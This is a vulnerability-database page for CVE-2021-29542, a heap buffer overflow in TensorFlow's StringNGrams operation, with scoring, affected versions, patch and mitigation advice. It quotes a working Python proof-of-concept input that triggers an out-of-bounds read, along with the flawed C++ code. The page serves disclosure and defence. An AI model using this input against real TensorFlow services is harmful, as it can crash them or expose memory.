CVE-2021-29542 is a medium-severity (CVSS 5.5) CWE-131 vulnerability in tensorflow. 1 public exploit reference exists, so weaponization risk is real. A fix is available for tensorflow — see the affected versions and patch details below.
Heap buffer overflow in `StringNGrams`
EPSS Exploitation Probability
Probability of exploitation in the next 30 days, from FIRST.org EPSS.
How urgent is this, really
CVE-2021-29542 by exploitation likelihood (EPSS) against impact (CVSS). Outside the shaded patch-first corner.
Where this sits among everything scored
Of 385,738 CVEs with a current EPSS score, this one falls in the < 10% band (highlighted). Counts from FIRST.org, log-scaled.
Real-World Exposure
tensorflow🐍tensorflow🐍tensorflow🐍tensorflow🐍tensorflow-cpu🐍tensorflow-cpu🐍tensorflow-cpu🐍tensorflow-cpu+4 moreReal-time download stats are indexed for npm and PyPI packages. This vulnerability affects PyPI packages — download data is not available via public APIs for these ecosystems.
Description
Impact
An attacker can cause a heap buffer overflow by passing crafted inputs to tf.raw_ops.StringNGrams:
import tensorflow as tf
separator = b'\x02\x00'
ngram_widths = [7, 6, 11]
left_pad = b'\x7f\x7f\x7f\x7f\x7f'
right_pad = b'\x7f\x7f\x25\x5d\x53\x74'
pad_width = 50
preserve_short_sequences = True
l = ['', '', '', '', '', '', '', '', '', '', '']
data = tf.constant(l, shape=[11], dtype=tf.string)
l2 = [0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 3]
data_splits = tf.constant(l2, shape=[116], dtype=tf.int64)
out = tf.raw_ops.StringNGrams(data=data,
data_splits=data_splits, separator=separator,
ngram_widths=ngram_widths, left_pad=left_pad,
right_pad=right_pad, pad_width=pad_width,
preserve_short_sequences=preserve_short_sequences)
This is because the implementation fails to consider corner cases where input would be split in such a way that the generated tokens should only contain padding elements:
for (int ngram_index = 0; ngram_index < num_ngrams; ++ngram_index) {
int pad_width = get_pad_width(ngram_width);
int left_padding = std::max(0, pad_width - ngram_index);
int right_padding = std::max(0, pad_width - (num_ngrams - (ngram_index + 1)));
int num_tokens = ngram_width - (left_padding + right_padding);
int data_start_index = left_padding > 0 ? 0 : ngram_index - pad_width;
...
tstring* ngram = &output[ngram_index];
ngram->reserve(ngram_size);
for (int n = 0; n < left_padding; ++n) {
ngram->append(left_pad_);
ngram->append(separator_);
}
for (int n = 0; n < num_tokens - 1; ++n) {
ngram->append(data[data_start_index + n]);
ngram->append(separator_);
}
ngram->append(data[data_start_index + num_tokens - 1]); // <<<
for (int n = 0; n < right_padding; ++n) {
ngram->append(separator_);
ngram->append(right_pad_);
}
...
}
If input is such that num_tokens is 0, then, for data_start_index=0 (when left padding is present), the marked line would result in reading data[-1].
Patches
We have patched the issue in GitHub commit ba424dd8f16f7110eea526a8086f1a155f14f22b.
The fix will be included in TensorFlow 2.5.0. We will also cherrypick this commit on TensorFlow 2.4.2, TensorFlow 2.3.3, TensorFlow 2.2.3 and TensorFlow 2.1.4, as these are also affected and still in supported range.
For more information
Please consult our security guide for more information regarding the security model and how to contact us with issues and questions.
Attribution
This vulnerability has been reported by Yakun Zhang and Ying Wang of Baidu X-Team.
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 🐍PyPI | tensorflow | all versions | 2.1.4pip install --upgrade 'tensorflow==2.1.4' |
| 🐍PyPI | tensorflow | ≥ 2.2.0&&< 2.2.3 | 2.2.3pip install --upgrade 'tensorflow==2.2.3' |
| 🐍PyPI | tensorflow | ≥ 2.3.0&&< 2.3.3 | 2.3.3pip install --upgrade 'tensorflow==2.3.3' |
| 🐍PyPI | tensorflow | ≥ 2.4.0&&< 2.4.2 | 2.4.2pip install --upgrade 'tensorflow==2.4.2' |
| 🐍PyPI | tensorflow-cpu | all versions | 2.1.4pip install --upgrade 'tensorflow-cpu==2.1.4' |
| 🐍PyPI | tensorflow-cpu | ≥ 2.2.0&&< 2.2.3 | 2.2.3pip install --upgrade 'tensorflow-cpu==2.2.3' |
Affected Products
tensorflowgoogleResearch use only. For defensive security, authorized penetration testing, and academic research only. Never execute exploit code against systems without explicit written authorization.
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for tensorflow, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.
Fix
Update tensorflow to 2.1.4 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms CVE-2021-29542 is resolved across your whole dependency graph.
Workarounds
Stop feeding it untrusted input: reject or quarantine files and payloads from unverified sources until you can upgrade, restrict accepted formats to the ones you actually need, and run the parsing or decoding step in a least-privileged sandbox or short-lived worker so a crash or corrupted read cannot reach the rest of the process.
Frequently Asked Questions
Is CVE-2021-29542 in your dependencies?
Find it across PyPI, including transitive dependencies.